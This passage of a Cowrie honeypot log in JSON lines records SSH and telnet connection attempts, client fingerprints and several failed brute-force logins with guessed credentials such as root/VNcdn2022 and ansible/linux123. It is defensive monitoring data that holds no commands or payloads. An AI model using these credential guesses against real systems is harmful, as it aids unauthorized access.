{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":40728,"dst_ip":"159.203.135.109","dst_port":23,"session":"75507b6dd2a1","protocol":"telnet","message":"New connection: 68.178.160.252:40728 (159.203.135.109:23) [session: 75507b6dd2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:39.398421Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48902,"dst_ip":"159.203.135.109","dst_port":23,"session":"f534cf764a29","protocol":"telnet","message":"New connection: 62.171.135.55:48902 (159.203.135.109:23) [session: f534cf764a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:40.795936Z"}
{"eventid":"cowrie.session.closed","duration":30.533352851867676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:41.215469Z","src_ip":"62.171.135.55","session":"2b9f6f829acf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VNcdn2022","message":"login attempt [root/VNcdn2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:42.978950Z","src_ip":"213.209.159.158","session":"1bc4d7649567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91a74c7000b","protocol":"ssh","message":"New connection: 80.94.92.182:33828 (10.17.0.5:22) [session: b91a74c7000b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:43.547304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:43.645865Z","src_ip":"80.94.92.182","session":"b91a74c7000b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:43.884072Z","src_ip":"80.94.92.182","session":"b91a74c7000b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"pa2ssw0rd","message":"login attempt [solana/pa2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:44.740051Z","src_ip":"80.94.92.182","session":"b91a74c7000b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:45.937354Z","src_ip":"80.94.92.182","session":"b91a74c7000b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:46.268701Z","src_ip":"213.209.159.158","session":"1bc4d7649567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40790,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8931d51d01","protocol":"ssh","message":"New connection: 213.209.159.158:40790 (159.203.135.109:22) [session: cd8931d51d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:46.347530Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37234,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec99bc8ae815","protocol":"telnet","message":"New connection: 62.171.135.55:37234 (159.203.135.109:23) [session: ec99bc8ae815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:46.432704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:48.456260Z","src_ip":"213.209.159.158","session":"cd8931d51d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:48.459839Z","src_ip":"213.209.159.158","session":"cd8931d51d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47518,"dst_ip":"159.203.135.109","dst_port":23,"session":"44968d4e0d0b","protocol":"telnet","message":"New connection: 62.171.135.55:47518 (159.203.135.109:23) [session: 44968d4e0d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:49.748460Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55082,"dst_ip":"159.203.135.109","dst_port":22,"session":"d362c4440911","protocol":"ssh","message":"New connection: 159.203.92.129:55082 (159.203.135.109:22) [session: d362c4440911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:51.371354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:51.375715Z","src_ip":"159.203.92.129","session":"d362c4440911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:51.379725Z","src_ip":"159.203.92.129","session":"d362c4440911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"linux123","message":"login attempt [ansible/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:51.390694Z","src_ip":"159.203.92.129","session":"d362c4440911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.189.77.161","src_port":10114,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e65291bbdfe","protocol":"telnet","message":"New connection: 45.189.77.161:10114 (159.203.135.109:23) [session: 7e65291bbdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:51.725506Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55066,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3cd4769f5a9","protocol":"telnet","message":"New connection: 62.171.135.55:55066 (159.203.135.109:23) [session: d3cd4769f5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:52.217224Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:52.396698Z","src_ip":"159.203.92.129","session":"d362c4440911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33386,"dst_ip":"159.203.135.109","dst_port":23,"session":"747d18de9ede","protocol":"telnet","message":"New connection: 62.171.135.55:33386 (159.203.135.109:23) [session: 747d18de9ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:54.711160Z"}
{"eventid":"cowrie.session.closed","duration":30.786430835723877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:55.314169Z","src_ip":"68.178.160.252","session":"bad5dfec1a86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38784,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a6d8323e0d3","protocol":"telnet","message":"New connection: 62.171.135.55:38784 (159.203.135.109:23) [session: 9a6d8323e0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:56.724168Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39760,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc011fbd317a","protocol":"telnet","message":"New connection: 62.171.135.55:39760 (159.203.135.109:23) [session: fc011fbd317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:57.092080Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41252,"dst_ip":"159.203.135.109","dst_port":23,"session":"528d0d52ee77","protocol":"telnet","message":"New connection: 62.171.135.55:41252 (159.203.135.109:23) [session: 528d0d52ee77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:57.633606Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyous","message":"login attempt [root/voyous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:58.123466Z","src_ip":"213.209.159.158","session":"cd8931d51d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42788,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ff6a8d785c","protocol":"telnet","message":"New connection: 62.171.135.55:42788 (159.203.135.109:23) [session: 18ff6a8d785c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:58.133771Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.107.167.149","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"542eed25cf12","protocol":"telnet","message":"New connection: 184.107.167.149:46540 (10.17.0.5:23) [session: 542eed25cf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:58.390113Z"}
{"eventid":"cowrie.session.closed","duration":31.507376670837402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:01.047506Z","src_ip":"62.171.135.55","session":"df9121ec6f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:01.428986Z","src_ip":"213.209.159.158","session":"cd8931d51d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8652,"dst_ip":"159.203.135.109","dst_port":22,"session":"f98f75d5c614","protocol":"ssh","message":"New connection: 213.209.159.158:8652 (159.203.135.109:22) [session: f98f75d5c614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:01.530202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:03.859771Z","src_ip":"213.209.159.158","session":"f98f75d5c614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:03.868665Z","src_ip":"213.209.159.158","session":"f98f75d5c614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":51452,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eb6169a050c","protocol":"telnet","message":"New connection: 68.178.160.252:51452 (159.203.135.109:23) [session: 5eb6169a050c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:04.692348Z"}
{"eventid":"cowrie.session.closed","duration":31.27350425720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:08.286491Z","src_ip":"62.171.135.55","session":"54eb54522b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14468288421631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:09.884327Z","src_ip":"68.178.160.252","session":"bb4ce9c679e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72430729866028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:10.122617Z","src_ip":"68.178.160.252","session":"75507b6dd2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29211688041687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:11.088036Z","src_ip":"62.171.135.55","session":"f534cf764a29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vO123456","message":"login attempt [root/vO123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:13.158784Z","src_ip":"213.209.159.158","session":"f98f75d5c614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.122","src_port":59106,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a79dbd0af5c","protocol":"ssh","message":"New connection: 64.62.197.122:59106 (10.17.0.5:22) [session: 7a79dbd0af5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:13.226662Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003h\\xa6b\u0013E\\xe6\\x8d\\xd7\u0010\\xa9\\x93\\x97L\\x85*-\\x97)\\xab\\xf6\\xe48%\\x84\\x94\\xb3`f\\xf1\\xe3\\xa0\u0005\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003h\\xa6b\u0013E\\xe6\\x8d\\xd7\u0010\\xa9\\x93\\x97L\\x85*-\\x97)\\xab\\xf6\\xe48%\\x84\\x94\\xb3`f\\xf1\\xe3\\xa0\u0005\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:13.232059Z","src_ip":"64.62.197.122","session":"7a79dbd0af5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:13.236916Z","src_ip":"64.62.197.122","session":"7a79dbd0af5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.227502Z","src_ip":"213.209.159.158","session":"f98f75d5c614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5824,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad468d5d828","protocol":"ssh","message":"New connection: 213.209.159.158:5824 (159.203.135.109:22) [session: 9ad468d5d828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.308252Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":38164,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2fc2f4bd6d","protocol":"ssh","message":"New connection: 43.159.177.40:38164 (159.203.135.109:22) [session: 0e2fc2f4bd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.410402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.421757Z","src_ip":"43.159.177.40","session":"0e2fc2f4bd6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.490634Z","src_ip":"43.159.177.40","session":"0e2fc2f4bd6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":45884,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc8d4a835d9","protocol":"ssh","message":"New connection: 156.227.233.77:45884 (159.203.135.109:22) [session: 0dc8d4a835d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.544854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.552770Z","src_ip":"156.227.233.77","session":"0dc8d4a835d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nis